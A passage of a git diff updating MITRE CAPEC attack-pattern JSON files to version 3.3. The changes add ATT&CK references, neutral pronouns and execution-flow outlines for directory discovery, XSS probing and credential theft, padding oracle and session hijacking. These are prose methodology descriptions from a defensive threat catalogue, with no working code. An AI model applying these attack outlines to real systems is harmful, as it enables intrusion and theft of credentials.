internal variable names (CVE-2000-0860)" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The attacker communicates with the application server using a thin client (browser) or thick client.

Experiment

  1. While communicating with the server, the attacker finds that they can control and override a variable consumed by the application server.

Exploit

  1. The attacker overrides the variable and influences the normal behavior of the application server.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "A variable consumed by the application server is exposed to the client.", @@ -106,11 +107,11 @@ ], "x_capec_skills_required": { "Low": "The malicious user can easily try some well-known global variables and find one which matches.", - "Medium": "The attacker can use automated tools to probe for variables that she can control." + "Medium": "The attacker can use automated tools to probe for variables that they can control." }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5e767629-8d94-46f3-a277-741d163bff95.json b/capec/attack-pattern/attack-pattern--5e767629-8d94-46f3-a277-741d163bff95.json index fa7ff31c9a..821987045b 100644 --- a/capec/attack-pattern/attack-pattern--5e767629-8d94-46f3-a277-741d163bff95.json +++ b/capec/attack-pattern/attack-pattern--5e767629-8d94-46f3-a277-741d163bff95.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--44662f9b-4792-40e4-8fa5-5080b26e07d9", + "id": "bundle--799ead36-2613-48e5-8423-4b34ea26f336", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--5e767629-8d94-46f3-a277-741d163bff95", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-02-06T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Object Injection", "description": "An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.", "external_references": [ @@ -49,7 +49,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5e808864-44b1-478c-8cb0-75c55cd51e2b.json b/capec/attack-pattern/attack-pattern--5e808864-44b1-478c-8cb0-75c55cd51e2b.json index 0ddd2605dd..061f1740d1 100644 --- a/capec/attack-pattern/attack-pattern--5e808864-44b1-478c-8cb0-75c55cd51e2b.json +++ b/capec/attack-pattern/attack-pattern--5e808864-44b1-478c-8cb0-75c55cd51e2b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--511a2003-33de-4e1e-8988-eba640497cdf", + "id": "bundle--a86417e5-51f9-4b9d-9de4-afcef39a1e7f", "spec_version": "2.0", "objects": [ { @@ -28,7 +28,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5f0e5e3b-6889-4583-81ec-5afecbd6765e.json b/capec/attack-pattern/attack-pattern--5f0e5e3b-6889-4583-81ec-5afecbd6765e.json index fa6b21ea00..b25ba992cc 100644 --- a/capec/attack-pattern/attack-pattern--5f0e5e3b-6889-4583-81ec-5afecbd6765e.json +++ b/capec/attack-pattern/attack-pattern--5f0e5e3b-6889-4583-81ec-5afecbd6765e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--3dee6438-2dce-45ec-a343-040ded7903e1", + "id": "bundle--21c8d36a-6a92-4e29-a975-49417ed20aec", "spec_version": "2.0", "objects": [ { @@ -41,7 +41,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--5f69cd20-0000-4733-85d5-9bb2fdcaeb36.json b/capec/attack-pattern/attack-pattern--5f69cd20-0000-4733-85d5-9bb2fdcaeb36.json index acd9f801bb..70c2ecbdb5 100644 --- a/capec/attack-pattern/attack-pattern--5f69cd20-0000-4733-85d5-9bb2fdcaeb36.json +++ b/capec/attack-pattern/attack-pattern--5f69cd20-0000-4733-85d5-9bb2fdcaeb36.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2e750120-240e-463f-a9f7-71429c487cea", + "id": "bundle--14f5abed-c479-4625-9d66-aa91739bef1c", "spec_version": "2.0", "objects": [ { @@ -43,7 +43,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--60ceb889-a284-44bb-ae05-4b7e347e1597.json b/capec/attack-pattern/attack-pattern--60ceb889-a284-44bb-ae05-4b7e347e1597.json index 4aab258b24..669b9184a0 100644 --- a/capec/attack-pattern/attack-pattern--60ceb889-a284-44bb-ae05-4b7e347e1597.json +++ b/capec/attack-pattern/attack-pattern--60ceb889-a284-44bb-ae05-4b7e347e1597.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--519716ba-ae33-4bdc-8c3c-64a092d78b1e", + "id": "bundle--0d734748-93a5-4f83-a285-b132d2da04f8", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--60ceb889-a284-44bb-ae05-4b7e347e1597", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Collect Data from Clipboard", - "description": "The adversary exploits an application that allows for the copying of sensitive data or information by collecting information copied to the clipboard. Data copied to the clipboard can be accessed by other applications, such as malware built to exfiltrate or log clipboard contents on a periodic basis. In this way, the adversary aims to garner information to which he is unauthorized.", + "description": "The adversary exploits an application that allows for the copying of sensitive data or information by collecting information copied to the clipboard. Data copied to the clipboard can be accessed by other applications, such as malware built to exfiltrate or log clipboard contents on a periodic basis. In this way, the adversary aims to garner information to which they are unauthorized.", "external_references": [ { "source_name": "capec", @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/267.html", "external_id": "CWE-267" + }, + { + "source_name": "ATTACK", + "description": "Clipboard Data", + "url": "https://attack.mitre.org/wiki/Technique/T1115", + "external_id": "T1115" } ], "object_marking_refs": [ @@ -41,7 +47,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--614cd894-0aa6-4031-88e1-89bd7b6118bb.json b/capec/attack-pattern/attack-pattern--614cd894-0aa6-4031-88e1-89bd7b6118bb.json index 0e182625d2..c159ecaf3f 100644 --- a/capec/attack-pattern/attack-pattern--614cd894-0aa6-4031-88e1-89bd7b6118bb.json +++ b/capec/attack-pattern/attack-pattern--614cd894-0aa6-4031-88e1-89bd7b6118bb.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--3a67c033-af6d-4aba-920f-315ffb6dec05", + "id": "bundle--56daff2f-a458-4c56-a7b3-9ee2caef53d7", "spec_version": "2.0", "objects": [ { @@ -33,7 +33,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--61546d1a-d720-4609-89ca-12039268d502.json b/capec/attack-pattern/attack-pattern--61546d1a-d720-4609-89ca-12039268d502.json index a5aa7a091d..fa5223b86e 100644 --- a/capec/attack-pattern/attack-pattern--61546d1a-d720-4609-89ca-12039268d502.json +++ b/capec/attack-pattern/attack-pattern--61546d1a-d720-4609-89ca-12039268d502.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0ea84094-efe7-4141-80cb-5837f71e5c23", + "id": "bundle--a66a5ded-da70-4c7e-8104-9259bf9ac5f7", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--61b17787-fe92-427c-9e6a-6311997d7b2a.json b/capec/attack-pattern/attack-pattern--61b17787-fe92-427c-9e6a-6311997d7b2a.json index 62f3f8fb4a..08cfbff832 100644 --- a/capec/attack-pattern/attack-pattern--61b17787-fe92-427c-9e6a-6311997d7b2a.json +++ b/capec/attack-pattern/attack-pattern--61b17787-fe92-427c-9e6a-6311997d7b2a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--46071bbb-e990-4931-a0fc-2f006e3d66bb", + "id": "bundle--6ea637dd-13dc-4c87-84f0-533769095d9e", "spec_version": "2.0", "objects": [ { @@ -70,7 +70,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--61baa525-b9a3-4474-98d9-7645906e4cc3.json b/capec/attack-pattern/attack-pattern--61baa525-b9a3-4474-98d9-7645906e4cc3.json index ea13b1b34c..69ee132b63 100644 --- a/capec/attack-pattern/attack-pattern--61baa525-b9a3-4474-98d9-7645906e4cc3.json +++ b/capec/attack-pattern/attack-pattern--61baa525-b9a3-4474-98d9-7645906e4cc3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--8e6ec7ae-6a4b-48be-bfe8-79aa647c5806", + "id": "bundle--79862532-edab-455d-80af-3f6be09be5fa", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--61baa525-b9a3-4474-98d9-7645906e4cc3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Unauthorized Use of Device Resources", "description": "An adversary that has previously obtained unauthorized access to certain device resources, uses that access to obtain information such as location and network information.", "external_references": [ @@ -26,7 +26,7 @@ "High": "Knowledge of the affected system, including what devices are connected to it, as well as knowledge of how to extract information from these devices." }, "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--6227a1fc-7504-4a5f-b5b2-4c4f1fe38617.json b/capec/attack-pattern/attack-pattern--6227a1fc-7504-4a5f-b5b2-4c4f1fe38617.json index ac066cb84f..4b3ba2a436 100644 --- a/capec/attack-pattern/attack-pattern--6227a1fc-7504-4a5f-b5b2-4c4f1fe38617.json +++ b/capec/attack-pattern/attack-pattern--6227a1fc-7504-4a5f-b5b2-4c4f1fe38617.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--35dffcc4-2821-44ef-8272-91bb4da04a10", + "id": "bundle--acb760f0-4674-4f58-92ea-e88986f332a5", "spec_version": "2.0", "objects": [ { @@ -22,6 +22,12 @@ "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" }, + { + "source_name": "ATTACK", + "description": "System Information Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1082", + "external_id": "T1082" + }, { "source_name": "reference_from_CAPEC", "description": "Stuart McClure, Joel Scambray, George Kurtz, Hacking Exposed: Network Security Secrets & Solutions (6th Edition), 2009, McGraw Hill", @@ -70,7 +76,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--6295b7e2-98e9-4fc8-acbf-99769cb3cdf0.json b/capec/attack-pattern/attack-pattern--6295b7e2-98e9-4fc8-acbf-99769cb3cdf0.json index e8fcfe7622..5203633d52 100644 --- a/capec/attack-pattern/attack-pattern--6295b7e2-98e9-4fc8-acbf-99769cb3cdf0.json +++ b/capec/attack-pattern/attack-pattern--6295b7e2-98e9-4fc8-acbf-99769cb3cdf0.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d0a02faa-a343-4bc7-9511-d7d4abc5ef1f", + "id": "bundle--513f72f8-54f5-4b0d-a478-d9669607953b", "spec_version": "2.0", "objects": [ { @@ -45,7 +45,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--6297aac6-1e4d-4c28-9268-52f70584ec5b.json b/capec/attack-pattern/attack-pattern--6297aac6-1e4d-4c28-9268-52f70584ec5b.json index 4048b76589..e43f8e44ba 100644 --- a/capec/attack-pattern/attack-pattern--6297aac6-1e4d-4c28-9268-52f70584ec5b.json +++ b/capec/attack-pattern/attack-pattern--6297aac6-1e4d-4c28-9268-52f70584ec5b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--65710b14-1df3-4536-90b0-283d9e21a5ee", + "id": "bundle--0dc6d1f4-0d75-4fd5-81b1-3e4a1ab47cf9", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--62c46d1c-f091-467e-a4b0-61927db31f38.json b/capec/attack-pattern/attack-pattern--62c46d1c-f091-467e-a4b0-61927db31f38.json index 527f4024bc..0be2feb972 100644 --- a/capec/attack-pattern/attack-pattern--62c46d1c-f091-467e-a4b0-61927db31f38.json +++ b/capec/attack-pattern/attack-pattern--62c46d1c-f091-467e-a4b0-61927db31f38.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b601b3f6-3071-456f-9d1a-3c12c5e23226", + "id": "bundle--e9f59a53-ac7a-42b7-9f4d-877e122ea11e", "spec_version": "2.0", "objects": [ { @@ -57,6 +57,12 @@ "url": "http://cwe.mitre.org/data/definitions/721.html", "external_id": "CWE-721" }, + { + "source_name": "ATTACK", + "description": "File and Directory Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1083", + "external_id": "T1083" + }, { "source_name": "reference_from_CAPEC", "description": "WASC Threat Classification 2.0, 2010, The Web Application Security Consortium (WASC)", @@ -76,6 +82,7 @@ "x_capec_example_instances": [ "\n The adversary uses directory listing to view sensitive files in the application. This is an example of accessing the backup file. The attack issues a request for http://www.example.com/admin/ and receives the following dynamic directory indexing content in the response: Index of /admin Name Last Modified Size Description backup/ 31-May-2007 08:18 - Apache/ 2.0.55 Server at www.example.com Port 80\n The target application does not have direct hyperlink to the \"backup\" directory in the normal html webpage, however the attacker has learned of this directory due to indexing the content. The client then requests the backup directory URL and receives output which has a \"db_dump.php\" file in it. This sensitive data should not be disclosed publicly.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Directory Discovery: Use a method, either manual, scripted, or automated to discover the directories on the server by making requests for directories that may possibly exist. During this phase the adversary is less concerned with whether a directory can be accessed or indexed and more focused on simply discovering what directories do exist on the target.

    2. Techniques
    Send requests to the web server for common directory names
    If directories are discovered that are native to a server type further refine the directory search to include directories usually present on those types of servers.
    Search for uncommon or potentially user created directories that may be present.

Experiment

  1. Iteratively explore directory/file structures: The adversary attempts to access the discovered directories that allow access and may attempt to bypass server or application level ACLs by using manual or automated methods

    2. Techniques
    Use a scanner tool to dynamically add directories/files to include their scan based upon data obtained in initial probes.
    Use a browser to manually explore the website by issuing a request ending the URL in a slash '/'.
    Attempt to bypass ACLs on directories by using methods that known to work against some server types by appending data to the directory request. For instance, appending a Null byte to the end of the request which may cause an ACL to fail and allow access.
    Sequentially request a list of common base files to each directory discovered.
    Try multiple fuzzing techniques to list directory contents for directories that will not reveal their contents with a \"/\" request

Exploit

  1. Read directories or files which are not intended for public viewing.: The adversary attempts to access the discovered directories that allow access and may attempt to bypass server or application level ACLs by using manual or automated methods

    2. Techniques
    Try multiple exploit techniques to list directory contents for directories that will not reveal their contents with a \"/\" request
    Try other known exploits to elevate privileges sufficient to bypass protected directories.
    List the files in the directory by issuing a request with the URL ending in a \"/\" slash.
    Access the files via direct URL and capture contents.
    Attempt to bypass ACLs on directories by using methods that are known to work against some server types by appending data to the directory request. For instance, appending a Null byte to the end of the request which may cause an ACL to fail and allow access.
    Sequentially request a list of common base files to each directory discovered.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target must be misconfigured to return a list of a directory's content when it receives a request that ends in a directory name rather than a file name.", @@ -92,7 +99,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--63048cb5-6d42-4fa2-a0e1-eeff2ef2a34d.json b/capec/attack-pattern/attack-pattern--63048cb5-6d42-4fa2-a0e1-eeff2ef2a34d.json index 5514e506ee..527b368778 100644 --- a/capec/attack-pattern/attack-pattern--63048cb5-6d42-4fa2-a0e1-eeff2ef2a34d.json +++ b/capec/attack-pattern/attack-pattern--63048cb5-6d42-4fa2-a0e1-eeff2ef2a34d.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--7df736f7-85a3-4b82-9b6f-165f30284192", + "id": "bundle--1036f1ae-ae4a-4647-a1f6-39750ae02f2b", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--63048cb5-6d42-4fa2-a0e1-eeff2ef2a34d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Padding Oracle Crypto Attack", "description": "An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key. Any cryptosystem can be vulnerable to padding oracle attacks if the encrypted messages are not authenticated to ensure their validity prior to decryption, and then the information about padding error is leaked to the adversary. This attack technique may be used, for instance, to break CAPTCHA systems or decrypt/modify state information stored in client side objects (e.g., hidden fields or cookies). This attack technique is a side-channel attack on the cryptosystem that uses a data leak from an improperly implemented decryption routine to completely subvert the cryptosystem. The one bit of information that tells the adversary whether a padding error during decryption has occurred, in whatever form it comes, is sufficient for the adversary to break the cryptosystem. That bit of information can come in a form of an explicit error message about a padding error, a returned blank page, or even the server taking longer to respond (a timing attack). This attack can be launched cross domain where an adversary is able to use cross-domain information leaks to get the bits of information from the padding oracle from a target system / service with which the victim is communicating. To do so an adversary sends a request containing ciphertext to the target system. Due to the browser's same origin policy, the adversary is not able to see the response directly, but can use cross-domain information leak techniques to still get the information needed (i.e., information on whether or not a padding error has occurred). For instance, this can be done using \"img\" tag plus the onerror()/onload() events. The adversary's JavaScript can make web browsers to load an image on the target site, and know if the image is loaded or not. This is 1-bit information needed for the padding oracle attack to work: if the image is loaded, then it is valid padding, otherwise it is not.", "external_references": [ @@ -68,7 +68,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--631dcf7a-d23f-45b3-b72a-ebd5a3625aeb.json b/capec/attack-pattern/attack-pattern--631dcf7a-d23f-45b3-b72a-ebd5a3625aeb.json index 772e67e3b4..1b6cc1ad65 100644 --- a/capec/attack-pattern/attack-pattern--631dcf7a-d23f-45b3-b72a-ebd5a3625aeb.json +++ b/capec/attack-pattern/attack-pattern--631dcf7a-d23f-45b3-b72a-ebd5a3625aeb.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2efd64b6-9cb9-4e65-8464-2c2f1d4c03ec", + "id": "bundle--e64944be-2678-4d88-b5b4-fd4946e06b1c", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--634aeef0-13a8-449b-afea-332cbc6095bf.json b/capec/attack-pattern/attack-pattern--634aeef0-13a8-449b-afea-332cbc6095bf.json index b493378f3b..fc8267601b 100644 --- a/capec/attack-pattern/attack-pattern--634aeef0-13a8-449b-afea-332cbc6095bf.json +++ b/capec/attack-pattern/attack-pattern--634aeef0-13a8-449b-afea-332cbc6095bf.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--1f4231da-f567-4a55-92f4-34fed307d408", + "id": "bundle--9814bed4-7d65-4dca-b105-d545d08bd051", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--634aeef0-13a8-449b-afea-332cbc6095bf", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Embedding Scripts within Scripts", - "description": "An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts. The adversary leverages this capability to execute his/her own script by embedding it within other scripts that the target software is likely to execute. The adversary must have the ability to inject their script into a script that is likely to be executed. If this is done, then the adversary can potentially launch a variety of probes and attacks against the web server's local environment, in many cases the so-called DMZ, back end resources the web server can communicate with, and other hosts. With the proliferation of intermediaries, such as Web App Firewalls, network devices, and even printers having JVMs and Web servers, there are many locales where an attacker can inject malicious scripts. Since this attack pattern defines scripts within scripts, there are likely privileges to execute said attack on the host. These attacks are not solely limited to the server side, client side scripts like Ajax and client side JavaScript can contain malicious scripts as well.", + "description": "An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts. The adversary leverages this capability to execute their own script by embedding it within other scripts that the target software is likely to execute. The adversary must have the ability to inject their script into a script that is likely to be executed. If this is done, then the adversary can potentially launch a variety of probes and attacks against the web server's local environment, in many cases the so-called DMZ, back end resources the web server can communicate with, and other hosts. With the proliferation of intermediaries, such as Web App Firewalls, network devices, and even printers having JVMs and Web servers, there are many locales where an attacker can inject malicious scripts. Since this attack pattern defines scripts within scripts, there are likely privileges to execute said attack on the host. These attacks are not solely limited to the server side, client side scripts like Ajax and client side JavaScript can contain malicious scripts as well.", "external_references": [ { "source_name": "capec", @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Event Triggered Execution:.bash_profile and .bashrc", + "url": "https://attack.mitre.org/wiki/Technique/T1546/004", + "external_id": "T1546.004" } ], "object_marking_refs": [ @@ -49,6 +55,7 @@ "\n Ajax applications enable rich functionality for browser based web applications. Applications like Google Maps deliver unprecedented ability to zoom in and out, scroll graphics, and change graphic presentation through Ajax. The security issues that an attacker may exploit in this instance are the relative lack of security features in JavaScript and the various browser's implementation of JavaScript, these security gaps are what XSS and a host of other client side vulnerabilities are based on. While Ajax may not open up new security holes, per se, due to the conversational aspects between client and server of Ajax communication, attacks can be optimized. A single zoom in or zoom out on a graphic in an Ajax application may round trip to the server dozens of times. One of the first steps many attackers take is frequently footprinting an environment, this can include scanning local addresses like 192.*.*.* IP addresses, checking local directories, files, and settings for known vulnerabilities, and so on.\n \n The XSS script that is embedded in a given IMG tag can be manipulated to probe a different address on every click of the mouse or other motions that the Ajax application is aware of.\n In addition the enumerations allow for the attacker to nest sequential logic in the attacks. While Ajax applications do not open up brand new attack vectors, the existing attack vectors are more than adequate to execute attacks, and now these attacks can be optimized to sequentially execute and enumerate host environments.\n ", "~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed. These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Spider: Using a browser or an automated tool, an attacker records all entry points for inputs that happen to be reflected in a client-side script element. These script elements can be located in the HTML content (head, body, comments), in an HTML tag, XML, CSS, etc.

    2. Techniques
    Use a spidering tool to follow and record all non-static links that are likely to have input parameters (through forms, URL, fragments, etc.) actively used by the Web application.
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe identified potential entry points for XSS vulnerability: The attacker uses the entry points gathered in the \"Explore\" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.

    2. Techniques
    Manually inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side script elements context and observe system behavior to determine if script was executed.
    Manually inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a server-side script elements context and observe system behavior to determine if script was executed.
    Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side script elements context and observe system behavior to determine if script was executed.
    Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a server-side script elements context and observe system behavior to determine if script was executed.
    Use a proxy tool to record results of the created requests.

Exploit

  1. Steal session IDs, credentials, page content, etc.: As the attacker succeeds in exploiting the vulnerability, they can choose to steal user's credentials in order to reuse or to analyze them later on.

    2. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker.
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately.

  2. Forceful browsing: When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).

    3. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).

  3. Content spoofing: By manipulating the content, the attacker targets the information that the user would like to get from the website.

    4. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Target software must be able to execute scripts, and also grant the adversary privilege to write/upload scripts." @@ -59,7 +66,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--63f43efb-7a34-4302-b3dc-8245100fdea9.json b/capec/attack-pattern/attack-pattern--63f43efb-7a34-4302-b3dc-8245100fdea9.json index 7f2929c0a2..b22dcef335 100644 --- a/capec/attack-pattern/attack-pattern--63f43efb-7a34-4302-b3dc-8245100fdea9.json +++ b/capec/attack-pattern/attack-pattern--63f43efb-7a34-4302-b3dc-8245100fdea9.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f30b7940-e323-4035-a255-194c4cea097e", + "id": "bundle--a3bb4cbc-8292-4abf-9fa1-bd6400ab6953", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--63f43efb-7a34-4302-b3dc-8245100fdea9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Session Hijacking", - "description": "This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The advarsary is able to steal or manipulate an active session and use it to gain unathorized access to the application.", + "description": "This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.", "external_references": [ { "source_name": "capec", @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/287.html", "external_id": "CWE-287" + }, + { + "source_name": "ATTACK", + "description": "Use Alternate Authentication Material:Application Access Token", + "url": "https://attack.mitre.org/wiki/Technique/T1550/001", + "external_id": "T1550.001" } ], "object_marking_refs": [ @@ -50,7 +56,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--64076ab3-d972-4688-b46b-76627923a8a0.json b/capec/attack-pattern/attack-pattern--64076ab3-d972-4688-b46b-76627923a8a0.json index 7ad380242b..fc132fbdb8 100644 --- a/capec/attack-pattern/attack-pattern--64076ab3-d972-4688-b46b-76627923a8a0.json +++ b/capec/attack-pattern/attack-pattern--64076ab3-d972-4688-b46b-76627923a8a0.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--86fa5f5e-4fa5-4531-be5b-1b347b3d1efc", + "id": 